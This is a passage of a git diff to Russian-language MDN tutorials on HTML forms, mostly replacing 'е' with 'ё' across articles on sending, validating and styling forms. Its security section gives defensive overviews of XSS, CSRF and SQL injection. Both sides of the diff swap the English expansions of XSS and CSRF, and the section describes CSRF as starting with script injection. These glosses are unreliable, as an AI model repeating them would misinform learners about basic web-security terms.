href="https://developer.mozilla.org/ru/docs/Learn/HTML/Forms/%D0%9E%D1%82%D0%BF%D1%80%D0%B0%D0%B2%D0%BA%D0%B0_%D0%B8_%D0%9F%D0%BE%D0%BB%D1%83%D1%87%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85_%D1%84%D0%BE%D1%80%D0%BC%D1%8B">Отправка данных форм </a></dt> <dd>Данная статья рассматривает что происходит, когда пользователь подтверждает форму — куда отправляются данные и как мы их там обрабатываем. Мы также рассмотрим некоторые проблемы безопасности, связанные с отправкой данных формы.</dd> <dt><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/Forms/%D0%92%D0%B0%D0%BB%D0%B8%D0%B4%D0%B0%D1%86%D0%B8%D1%8F_%D1%84%D0%BE%D1%80%D0%BC%D1%8B">Валидация данных форм</a></dt> - <dd>Одной отправки данных не достаточно — нам нужно убедиться что данные, введенные пользователем в формы, в правильном формате и не испортят наши приложения. Мы также хотим помочь пользователям правильно заполнить формы и не разочароваться при использовании наших приложений. Валидация форм поможет нам в достижении этих целей — эта статья расскажет вам всё, что нужно знать.</dd> + <dd>Одной отправки данных не достаточно — нам нужно убедиться что данные, введённые пользователем в формы, в правильном формате и не испортят наши приложения. Мы также хотим помочь пользователям правильно заполнить формы и не разочароваться при использовании наших приложений. Валидация форм поможет нам в достижении этих целей — эта статья расскажет вам всё, что нужно знать.</dd> </dl> <h2 id="Продвинутые_руководства"> Продвинутые руководства</h2> diff --git a/files/ru/learn/forms/sending_and_retrieving_form_data/index.html b/files/ru/learn/forms/sending_and_retrieving_form_data/index.html index 60e5fce7c0..96797fe6b6 100644 --- a/files/ru/learn/forms/sending_and_retrieving_form_data/index.html +++ b/files/ru/learn/forms/sending_and_retrieving_form_data/index.html @@ -60,12 +60,12 @@ original_slug: Learn/HTML/Forms/Отправка_и_Получение_данн <pre class="brush: html notranslate"><form action="#"></pre> <div class="note"> -<p><strong>Заметка:</strong> Можно указать URL, который использует протокол HTTPS (безопасный HTTP). Когда вы делаете это, данные шифруются вместе с остальной частью запроса, даже если сама форма размещается на небезопасной странице, доступ к которой осуществляется через HTTP. С другой стороны, если форма размещается на защищенной странице, но вы указываете небезопасный URL-адрес HTTP с атрибутом {{htmlattrxref("action","form")}}, все браузеры выдают пользователю предупреждение о безопасности при каждой попытке отправки данных, поскольку данные не шифруются.</p> +<p><strong>Заметка:</strong> Можно указать URL, который использует протокол HTTPS (безопасный HTTP). Когда вы делаете это, данные шифруются вместе с остальной частью запроса, даже если сама форма размещается на небезопасной странице, доступ к которой осуществляется через HTTP. С другой стороны, если форма размещается на защищённой странице, но вы указываете небезопасный URL-адрес HTTP с атрибутом {{htmlattrxref("action","form")}}, все браузеры выдают пользователю предупреждение о безопасности при каждой попытке отправки данных, поскольку данные не шифруются.</p> </div> <h4 id="Атрибут_htmlattrxrefmethodform">Атрибут {{htmlattrxref("method","form")}}</h4> -<p>Этот атрибут определяет способ отправки данных. <a href="/en-US/docs/HTTP">Протокол HTTP</a> предоставляет несколько способов выполнить запрос; Данные HTML-формы могут передаваться несколькими различными способами, наиболее распространенными из которых являются метод <code>GET</code> и метод <code>POST</code>.</p> +<p>Этот атрибут определяет способ отправки данных. <a href="/en-US/docs/HTTP">Протокол HTTP</a> предоставляет несколько способов выполнить запрос; Данные HTML-формы могут передаваться несколькими различными способами, наиболее распространёнными из которых являются метод <code>GET</code> и метод <code>POST</code>.</p> <p>Чтобы понять разницу между этими двумя методами, давайте вернёмся назад и рассмотрим, как работает HTTP. Каждый раз, когда вы хотите получить доступ к ресурсу в Интернете, браузер отправляет запрос на URL-адрес. HTTP-запрос состоит из двух частей: заголовка, который содержит набор глобальных метаданных о возможностях браузера, и тела, которое может содержать информацию, необходимую серверу для обработки конкретного запроса.</p> @@ -91,7 +91,7 @@ original_slug: Learn/HTML/Forms/Отправка_и_Получение_данн <p>Поскольку используется метод <code>GET</code>, вы увидите URL <code>www.foo.com/?say=Hi&to=Mom</code>, который появится в адресной строке браузера при отправке формы.</p> -<p><img alt="" src="https://mdn.mozillademos.org/files/14685/url-parameters.png" style="display: block; margin: 0 auto;">Данные добавляются в URL как последовательность пар имя / значение. После того, как URL веб-адрес закончился, мы добавляем знак вопроса (<code>?</code>), за которым следуют пары имя / значение, каждая из которых разделена амперсандом (<code>&</code>). В этом случае мы передаем две части данных на сервер:</p> +<p><img alt="" src="https://mdn.mozillademos.org/files/14685/url-parameters.png" style="display: block; margin: 0 auto;">Данные добавляются в URL как последовательность пар имя / значение. После того, как URL веб-адрес закончился, мы добавляем знак вопроса (<code>?</code>), за которым следуют пары имя / значение, каждая из которых разделена амперсандом (<code>&</code>). В этом случае мы передаём две части данных на сервер:</p> <ul> <li><code>say</code>, со значением <code>Hi</code></li> @@ -171,7 +171,7 @@ say=Hi&to=Mom</pre> <h4 id="Пример_Чистый_PHP">Пример: Чистый PHP</h4> -<p><a href="https://php.net/">PHP</a> предлагает несколько глобальных объектов для доступа к данным. Например, вы используете <code>POST</code>-метод, в приведенном ниже примере данные просто получаются и показываются пользователю. Разумеется, как использовать данные — решать только вам. Вы можете отобразить эти данные, поместить в базу данных, отправить по почте или передать эти данные куда-либо еще.</p> +<p><a href="https://php.net/">PHP</a> предлагает несколько глобальных объектов для доступа к данным. Например, вы используете <code>POST</code>-метод, в приведённом ниже примере данные просто получаются и показываются пользователю. Разумеется, как использовать данные — решать только вам. Вы можете отобразить эти данные, поместить в базу данных, отправить по почте или передать эти данные куда-либо еще.</p> <pre class="brush: php notranslate"><?php // The global $_POST variable allows you to access the data sent with the POST method by name @@ -217,7 +217,7 @@ if __name__ == "__main__": </ul> <div class="note"> -<p><strong>Примечание</strong>: Опять же, этот код не будет работать, если вы просто попробуете загрузить его прямо в браузер. Python работает немного иначе, чем PHP — чтобы запустить этот код, нужно <a href="/en-US/docs/Learn/Server-side/Django/development_environment#Installing_Python_3">установить Python/PIP</a>, потом установить Flask используя команду: <code>pip3 install flask</code>. После этого, вы сможете запустить файл из примера, используя команду: <code>python3 python-example.py</code>, потом открыть <code>localhost:5000</code> в своем браузере.</p> +<p><strong>Примечание</strong>: Опять же, этот код не будет работать, если вы просто попробуете загрузить его прямо в браузер. Python работает немного иначе, чем PHP — чтобы запустить этот код, нужно <a href="/en-US/docs/Learn/Server-side/Django/development_environment#Installing_Python_3">установить Python/PIP</a>, потом установить Flask используя команду: <code>pip3 install flask</code>. После этого, вы сможете запустить файл из примера, используя команду: <code>python3 python-example.py</code>, потом открыть <code>localhost:5000</code> в своём браузере.</p> </div> <h4 id="Другие_языки_и_фреймворки">Другие языки и фреймворки</h4> @@ -232,7 +232,7 @@ if __name__ == "__main__": <li><a href="https://phoenixframework.org/">Phoenix</a> для Elixir</li> </ul> -<p>Стоит отметить, что использование фреймворков и работа с формами - это не всегда легко. Но это намного легче, чем пытаться написать аналогичный функционал с нуля, и это определенно сэкономит время. </p> +<p>Стоит отметить, что использование фреймворков и работа с формами - это не всегда легко. Но это намного легче, чем пытаться написать аналогичный функционал с нуля, и это определённо сэкономит время. </p> <div class="note"> <p><strong>Примечание</strong>: Обучению фреймворкам и работе с серверами не входит в рамки этой статьи. Если хотите узнать больше, ссылки ниже помогут в этом. </p> @@ -244,7 +244,7 @@ if __name__ == "__main__": <h3 id="Атрибут_htmlattrxrefenctypeform">Атрибут {{htmlattrxref("enctype","form")}} </h3> -<p>Этот атрибут позволяет конкретизировать значение в <code>Content-Type</code> HTTP заголовок, включенный в запрос, при генерировании отправки формы. Этот заголовок очень важен, потому что указывает серверу, какой тип данных отправляется. По умолчанию это: <code>application/x-www-form-urlencoded</code>. На человеческом это значит: "Это форма с данными, которые были закодированы в URL параметры."</p> +<p>Этот атрибут позволяет конкретизировать значение в <code>Content-Type</code> HTTP заголовок, включённый в запрос, при генерировании отправки формы. Этот заголовок очень важен, потому что указывает серверу, какой тип данных отправляется. По умолчанию это: <code>application/x-www-form-urlencoded</code>. На человеческом это значит: "Это форма с данными, которые были закодированы в URL параметры."</p> <p>Если хотите отправить файл, нужно сделать следующие три шага:</p> @@ -276,17 +276,17 @@ if __name__ == "__main__": <h2 id="Проблемы_безопасности">Проблемы безопасности</h2> -<p>Каждый раз, когда вы отправляете данные на сервер, вы должны учитывать безопасность. HTML-формы являются наиболее распространенными векторами атак на серверы(места, где могут происходить атаки). Проблемы вытекают не из самих форм HTML, а из-за того, как сервер обрабатывает данные из этих форм.</p> +<p>Каждый раз, когда вы отправляете данные на сервер, вы должны учитывать безопасность. HTML-формы являются наиболее распространёнными векторами атак на серверы(места, где могут происходить атаки). Проблемы вытекают не из самих форм HTML, а из-за того, как сервер обрабатывает данные из этих форм.</p> <p>В зависимости от того, что вы делаете, вы можете столкнуться с некоторыми очень известными проблемами безопасности:</p> <h3 id="XSS_Межсайтовый_скриптинг_и_CSRF_Подделка_межсайтовых_запросов">XSS "Межсайтовый скриптинг" и CSRF "Подделка межсайтовых запросов"</h3> -<p><a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D1%8B%D0%B9_%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%B8%D0%BD%D0%B3">Межсайтовый скриптинг (XSS "Cross Site Request Forgery")</a> и <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D0%BB%D0%BA%D0%B0_%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D0%B0">подделка межсайтовых запросов (CSRF "Cross-Site Scripting")</a> - это распространенные типы атак, которые происходят при отображении данных после ответа сервера или другого пользователя.</p> +<p><a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D1%8B%D0%B9_%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%B8%D0%BD%D0%B3">Межсайтовый скриптинг (XSS "Cross Site Request Forgery")</a> и <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D0%BB%D0%BA%D0%B0_%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D0%B0">подделка межсайтовых запросов (CSRF "Cross-Site Scripting")</a> - это распространённые типы атак, которые происходят при отображении данных после ответа сервера или другого пользователя.</p> <p><a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D1%8B%D0%B9_%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%B8%D0%BD%D0%B3">Межсайтовый скриптинг (XSS "Cross Site Request Forgery")</a> позволяет злоумышленникам внедрить клиентский скрипт в веб-страницы, просматриваемые другими пользователями. <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D0%BB%D0%BA%D0%B0_%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D0%B0">Подделка межсайтовых запросов (CSRF "Cross-Site Scripting")</a> может использоваться злоумышленниками для обхода средств контроля доступа, таких как одна и та же <a href="/ru/docs/Web/Security/Same-origin_policy">политика происхождения</a>. Последствие от этих атак может варьироваться от мелких неудобств до значительного риска безопасности.</p> -<p><a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D0%BB%D0%BA%D0%B0_%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D0%B0">CSRF-атаки</a> аналогичны <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D1%8B%D0%B9_%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%B8%D0%BD%D0%B3">XSS-атакам</a> в том, что они начинаются одинаково - с внедрения клиентского скрипта в веб-страницы - но их конечные цели разные. Злоумышленники <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D0%BB%D0%BA%D0%B0_%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D0%B0">CSRF </a>пытаются назначить права пользователям с более высоким уровнем прав доступа(например, администратору сайта), чтобы выполнить действие, которое они не должны выполнять (например, отправка данных ненадежному пользователю). Атаки <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D1%8B%D0%B9_%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%B8%D0%BD%D0%B3">XSS </a>используют доверие пользователя к веб-сайту, в то время как атаки <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D0%BB%D0%BA%D0%B0_%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D0%B0">CSRF </a>используют доверие веб-сайта к пользователю.</p> +<p><a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D0%BB%D0%BA%D0%B0_%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D0%B0">CSRF-атаки</a> аналогичны <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D1%8B%D0%B9_%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%B8%D0%BD%D0%B3">XSS-атакам</a> в том, что они начинаются одинаково - с внедрения клиентского скрипта в веб-страницы - но их конечные цели разные. Злоумышленники <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D0%BB%D0%BA%D0%B0_%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D0%B0">CSRF </a>пытаются назначить права пользователям с более высоким уровнем прав доступа(например, администратору сайта), чтобы выполнить действие, которое они не должны выполнять (например, отправка данных ненадёжному пользователю). Атаки <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D1%8B%D0%B9_%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%B8%D0%BD%D0%B3">XSS </a>используют доверие пользователя к веб-сайту, в то время как атаки <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D0%BB%D0%BA%D0%B0_%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D0%B0">CSRF </a>используют доверие веб-сайта к пользователю.</p> <p>Чтобы предотвратить эти атаки, вы всегда должны проверять данные, которые пользователь отправляет на ваш сервер, и (если вам нужно отобразить их) стараться не отображать HTML-контент, предоставленный пользователем. Вместо этого вы должны обработать предоставленные пользователем данные, чтобы не отображать их слово в слово. Сегодня почти все платформы на рынке реализуют минимальный "фильтр", который удаляет элементы HTML {{HTMLElement ("script")}}, {{HTMLElement ("iframe")}} и {{HTMLElement ("object")}} полученных от любого пользователя. Это помогает снизить риск, но не исключает его полностью.</p> @@ -294,11 +294,11 @@ if __name__ == "__main__": <p>SQL -вброс представляет собой тип атак, при которых осуществляется попытка выполнения действия с базой данных, используемой целевым веб-сайтом. В этих случаях обычно осуществляется отправка SQL-запроса в надежде, что сервер выполнит этот запрос (обычно при попытке сервера приложения сохранить данные, отправляемые пользователем). Данный вид атак является <a href="https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project" rel="external">одним из самых направленных атак на веб-сайты</a>.</p> -<p>Последствия могут быть ужасающими, начиная от потери данных и заканчивая утратой контроля над всей инфраструктурой веб-сайта за счет повышения привилегий. Это очень серьезная угроза, поэтому никогда не сохраняйте данные, отправляемые пользователем, без выполнения фильтрации данных (например, с помощью <code><a href="http://us1.php.net/manual/en/mysqli.real-escape-string.php">mysqli_real_escape_string()</a></code>.</p> +<p>Последствия могут быть ужасающими, начиная от потери данных и заканчивая утратой контроля над всей инфраструктурой веб-сайта за счёт повышения привилегий. Это очень серьёзная угроза, поэтому никогда не сохраняйте данные, отправляемые пользователем, без выполнения фильтрации данных (например, с помощью <code><a href="http://us1.php.net/manual/en/mysqli.real-escape-string.php">mysqli_real_escape_string()</a></code>.</p> <h3 id="Вброс_HTTP-заголовка_и_email">Вброс HTTP-заголовка и email</h3> -<p>Эти виды атак могут проявляться, когда ваше приложение создает заголовки HTTP или электронные почтовые адреса на основании данных, введенных пользователем в форму. Такие атаки напрямую не повреждают сервер или пользователей, однако создают уязвимость для таких угроз, как перехват сессии, или для фишинговых атак.</p> +<p>Эти виды атак могут проявляться, когда ваше приложение создаёт заголовки HTTP или электронные почтовые адреса на основании данных, введённых пользователем в форму. Такие атаки напрямую не повреждают сервер или пользователей, однако создают уязвимость для таких угроз, как перехват сессии, или для фишинговых атак.</p> <p>Такие атаки являются самыми незаметными, но при этом могут превратить ваш сервер в <a href="http://en.wikipedia.org/wiki/Zombie_(computer_science)" rel="exernal">зомби</a>.</p> @@ -314,7 +314,7 @@ if __name__ == "__main__": <li>Помещайте загруженные файлы в песочницу (храните их на другом сервере и предоставляйте доступ к фалам только через отдельный поддомен или даже через совершенно другое доменное имя).</li> </ul> -<p>Соблюдая эти три правила, вы сможете избежать многих/большинства проблем. При этом следует помнить, что периодически необходимо проводить анализ защищенности, желательно квалифицированной сторонней организацией. Не считайте, что вы уже сталкивались со всеми возможными угрозами.</p> +<p>Соблюдая эти три правила, вы сможете избежать многих/большинства проблем. При этом следует помнить, что периодически необходимо проводить анализ защищённости, желательно квалифицированной сторонней организацией. Не считайте, что вы уже сталкивались со всеми возможными угрозами.</p> <div class="note"> <p><strong>Примечание</strong>: В статье <a href="/en-US/docs/Learn/Server-side/First_steps/Website_security">Безопасность веб-сайта</a> нашего раздела <a href="/en-US/docs/Learn/Server-side">серверного</a> обучения приведено подробное обсуждение упомянутых угроз и возможных способов их устранения.</p> @@ -341,7 +341,7 @@ if __name__ == "__main__": <ul> <li><a href="/en-US/docs/Learn/HTML/Forms/Your_first_HTML_form">Ваша первая HTML-форма</a></li> <li><a href="/en-US/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">Как структурировать HTML-форму</a></li> - <li><a href="/en-US/docs/Learn/HTML/Forms/The_native_form_widgets">Предопределенные виджеты</a></li> + <li><a href="/en-US/docs/Learn/HTML/Forms/The_native_form_widgets">Предопределённые виджеты</a></li> <li><a href="/en-US/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">Отправка данных формы</a></li> <li><a href="/en-US/docs/Learn/HTML/Forms/Form_validation">Валидация данных формы</a></li> <li><a href="/en-US/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">Как создавать кастомные виджеты</a></li> diff --git a/files/ru/learn/forms/sending_forms_through_javascript/index.html b/files/ru/learn/forms/sending_forms_through_javascript/index.html index 6a949fd237..b9c76e7ef7 100644 --- a/files/ru/learn/forms/sending_forms_through_javascript/index.html +++ b/files/ru/learn/forms/sending_forms_through_javascript/index.html @@ -14,18 +14,18 @@ original_slug: Learn/HTML/Forms/Sending_forms_through_JavaScript <h3 id="Получение_контроля_над_глобальным_интерфейсом">Получение контроля над глобальным интерфейсом</h3> -<p>Отправка стандартной HTML формы, как описывалось в предыдущей статье, загружает URL-адрес, по которому были отправлены данные, это означает, что окно браузера перемещается с полной загрузкой страницы. Если избегать полную перезагрузку страницы, можно обеспечить более плавную работу, за счет предотвращения задержек в сети и возможных визуальных проблем (например, мерцания).</p> +<p>Отправка стандартной HTML формы, как описывалось в предыдущей статье, загружает URL-адрес, по которому были отправлены данные, это означает, что окно браузера перемещается с полной загрузкой страницы. Если избегать полную перезагрузку страницы, можно обеспечить более плавную работу, за счёт предотвращения задержек в сети и возможных визуальных проблем (например, мерцания).</p> -<p>Многие современные пользовательские интерфейсы используют HTML формы только для сбора пользовательского ввода, а не для для отправки данных. Когда пользователь пытается отправить свои данные, приложение берет контроль и асинхронно передает данные в фоновом режиме, обновляя только ту часть всего интерфейса пользователя, которой требуется обновление.</p> +<p>Многие современные пользовательские интерфейсы используют HTML формы только для сбора пользовательского ввода, а не для для отправки данных. Когда пользователь пытается отправить свои данные, приложение берет контроль и асинхронно передаёт данные в фоновом режиме, обновляя только ту часть всего интерфейса пользователя, которой требуется обновление.</p> <p>Асинхронная отправка произвольных данных обычно называется <a href="/en-US/docs/AJAX">AJAX</a>, что означает <strong>"Asynchronous JavaScript And XML" </strong>(Асинхронный JavaScript и XML).</p> <h3 id="Чем_он_отличается">Чем он отличается?</h3> -<p>Объект {{domxref("XMLHttpRequest")}} (XHR) DOM может создавать HTTP-запросы, отправлять их, и получать их результат. Исторически, {{domxref("XMLHttpRequest")}} был разработан для получения и отправки <a href="/en-US/docs/XML">XML</a> в качестве формата обмена, который со временем был заменен на <a href="/en-US/docs/JSON">JSON</a>. Но ни XML, ни JSON не вписываются в кодировку запроса данных формы. Данные формы (<code>application/x-www-form-urlencoded</code>) состоят из списка пар ключ/значение в кодировке URL. Для передачи бинарных данных, HTTP-запрос преобразуется в <code>multipart/form-data</code>.</p> +<p>Объект {{domxref("XMLHttpRequest")}} (XHR) DOM может создавать HTTP-запросы, отправлять их, и получать их результат. Исторически, {{domxref("XMLHttpRequest")}} был разработан для получения и отправки <a href="/en-US/docs/XML">XML</a> в качестве формата обмена, который со временем был заменён на <a href="/en-US/docs/JSON">JSON</a>. Но ни XML, ни JSON не вписываются в кодировку запроса данных формы. Данные формы (<code>application/x-www-form-urlencoded</code>) состоят из списка пар ключ/значение в кодировке URL. Для передачи бинарных данных, HTTP-запрос преобразуется в <code>multipart/form-data</code>.</p> <div class="blockIndicator note"> -<p><strong>Замечание</strong>: Сейчас <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> часто используется вместо XHR — это современная, обновленная версия XHR, которая работает в похожем стиле, но имеет несколько преимуществ. Большая часть XHR-кода, которую вы увидите в этой статье можно заменить на Fetch.</p> +<p><strong>Замечание</strong>: Сейчас <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> часто используется вместо XHR — это современная, обновлённая версия XHR, которая работает в похожем стиле, но имеет несколько преимуществ. Большая часть XHR-кода, которую вы увидите в этой статье можно заменить на Fetch.</p> </div> <p>Если вы управляете фронтендом (кодом, который выполняется в браузере) и бэкендом (кодом, который выполняется на стороне сервера), вы можете отправлять JSON/XML и обрабатывать их как хотите.</p> @@ -48,7 +48,7 @@ original_slug: Learn/HTML/Forms/Sending_forms_through_JavaScript <h3 id="Создание_XMLHttpRequest_вручную">Создание XMLHttpRequest вручную</h3> -<p>{{domxref("XMLHttpRequest")}} это самый безопасный и надежный способ создавать HTTP-запросы. Для отправки данных формы с помощью {{domxref("XMLHttpRequest")}}, подготовьте данные с помощью URL-кодирования, и соблюдайте специфику запросов данных формы.</p> +<p>{{domxref("XMLHttpRequest")}} это самый безопасный и надёжный способ создавать HTTP-запросы. Для отправки данных формы с помощью {{domxref("XMLHttpRequest")}}, подготовьте данные с помощью URL-кодирования, и соблюдайте специфику запросов данных формы.</p> <p>Посмотрите на пример:</p> diff --git a/files/ru/learn/forms/styling_web_forms/index.html b/files/ru/learn/forms/styling_web_forms/index.html index f818654906..8dcaf1c08d 100644 --- a/files/ru/learn/forms/styling_web_forms/index.html +++ b/files/ru/learn/forms/styling_web_forms/index.html @@ -14,7 +14,7 @@ original_slug: Learn/HTML/Forms/Styling_HTML_forms <p>Несколько лет спустя был создан CSS, и то, что было технической необходимостью, то есть использование собственных виджетов для реализации элементов управления формой, стало требованием к стилю. В первые дни CSS, стилизация элементов управления формы не была приоритетом.</p> -<p>Поскольку пользователи привыкли к внешнему виду своих соответствующих платформ, поставщики браузеров неохотно делают элементы управления формами стилевыми; и по сей день все еще чрезвычайно трудно перестроить все элементы управления, чтобы сделать их стилизованными.</p> +<p>Поскольку пользователи привыкли к внешнему виду своих соответствующих платформ, поставщики браузеров неохотно делают элементы управления формами стилевыми; и по сей день все ещё чрезвычайно трудно перестроить все элементы управления, чтобы сделать их стилизованными.</p> <p>Даже сегодня ни один браузер полностью не реализует CSS 2.1. Однако со временем поставщики браузеров улучшили свою поддержку CSS для элементов формы, и, несмотря на плохую репутацию в отношении удобства использования, теперь вы можете использовать CSS для стилизации <a href="/en-US/docs/HTML/Forms">HTML форм</a>.</p> @@ -37,7 +37,7 @@ original_slug: Learn/HTML/Forms/Styling_HTML_forms <h4 id="Плохая">Плохая</h4> -<p>Некоторые элементы редко могут быть стилизованы, и могут потребовать некоторых сложных уловок, иногда требующих углубленных знаний CSS3.</p> +<p>Некоторые элементы редко могут быть стилизованы, и могут потребовать некоторых сложных уловок, иногда требующих углублённых знаний CSS3.</p> <p>Они включают в себя элемент {{HTMLElement ("legend")}}, но его нельзя правильно расположить на всех платформах. Флажки и переключатели также не могут быть стилизованы напрямую, однако, благодаря CSS3 вы можете обойти это. Контент {{htmlattrxref ("placeholder", "input")}} не может быть стилизован каким-либо стандартным способом, однако все браузеры, которые его реализуют, также реализуют собственные псевдо-элементы CSS или псевдоклассы, которые позволяют его стилизовать.</p> diff --git a/files/ru/learn/forms/your_first_form/index.html b/files/ru/learn/forms/your_first_form/index.html index 1a0a82e00c..c6dfa3b2b7 100644 --- a/files/ru/learn/forms/your_first_form/index.html +++ b/files/ru/learn/forms/your_first_form/index.html @@ -31,7 +31,7 @@ original_slug: Learn/HTML/Forms/Ваша_первая_HTML_форма <p><strong>Веб-формы</strong> — их также часто называют <strong>HTML-формы</strong> — состоят из одного или нескольких <strong>элементов управления форм</strong> (иногда их также называют <strong>виджетами</strong>) и некоторых дополнительных элементов для структурирования формы. Элементами управления могут быть однострочные или многострочные текстовые поля, выпадающие списки, кнопки, чекбоксы, радиокнопки, большинство из которых создаются через html-элемент {{htmlelement("input")}}, однако есть и другие элементы, о которых тоже стоит узнать.</p> -<p>В элементах управления форм можно задать правила, указывающие на определенный формат данных или значений, которые могут быть введены (<strong>валидация форм</strong>), а также к ним могут быть добавлены текстовые строки, описывающие эти элементы для зрячих и незрячих пользователей.</p> +<p>В элементах управления форм можно задать правила, указывающие на определённый формат данных или значений, которые могут быть введены (<strong>валидация форм</strong>), а также к ним могут быть добавлены текстовые строки, описывающие эти элементы для зрячих и незрячих пользователей.</p> <h2 id="Проектирование_формы">Проектирование формы</h2> @@ -116,7 +116,7 @@ original_slug: Learn/HTML/Forms/Ваша_первая_HTML_форма <ul> <li>В нашем простом примере мы используем {{HTMLelement("input/text")}} для первого поля ввода — значение по умолчанию для данного атрибута. Оно представляет однострочное текстовое поле, которое может принимать любые значения.</li> - <li>Для второго поля ввода мы используем тип {{HTMLelement("input/email")}}, который представляет собой однострочное текстовое поле, которое принимает в качестве значения корректно составленный e-mail адрес. Он делает простое текстовое поле "умным", позволяя проверять введенные пользователем данные на корректность. Также это позволяет открывать более подходящие для ввода e-mail адреса клавиатуры (например, с символом @ при базовой раскладке) на устройствах с динамической клавиатурой, таких как смартфоны. Вы найдёте более подробную информацию про валидацию форм далее в статье <a href="/ru/docs/Learn/HTML/Forms/Валидация_формы" title="/en-US/docs/HTML/Forms/Data_form_validation">Валидация формы</a>.</li> + <li>Для второго поля ввода мы используем тип {{HTMLelement("input/email")}}, который представляет собой однострочное текстовое поле, которое принимает в качестве значения корректно составленный e-mail адрес. Он делает простое текстовое поле "умным", позволяя проверять введённые пользователем данные на корректность. Также это позволяет открывать более подходящие для ввода e-mail адреса клавиатуры (например, с символом @ при базовой раскладке) на устройствах с динамической клавиатурой, таких как смартфоны. Вы найдёте более подробную информацию про валидацию форм далее в статье <a href="/ru/docs/Learn/HTML/Forms/Валидация_формы" title="/en-US/docs/HTML/Forms/Data_form_validation">Валидация формы</a>.</li> </ul> <p>Последнее, но не менее важное, обратите внимание на разницу синтаксиса у HTML-элементов <code><input></code> и <code><textarea></textarea></code>. Это одна из странностей HTML. Тег <code><input></code> — это пустой элемент, то есть он не нуждается в закрывающем теге. {{HTMLElement("textarea")}} — это непустой элемент, что говорит о том, что ему необходим закрывающий тег. Это важно при использовании одного из свойств форм: определения значения по умолчанию. Для определения начального значения для HTML-элемента {{HTMLElement("input")}} вам необходимо использовать атрибут <code>value</code> следующим образом:</p> diff --git a/files/ru/learn/front-end_web_developer/index.html b/files/ru/learn/front-end_web_developer/index.html index f70a9e40b4..b2a85fadb9 100644 --- a/files/ru/learn/front-end_web_developer/index.html +++ b/files/ru/learn/front-end_web_developer/index.html @@ -12,7 +12,7 @@ original_slug: Learn/Фронтенд_разработчик <br> Добро пожаловать на курс 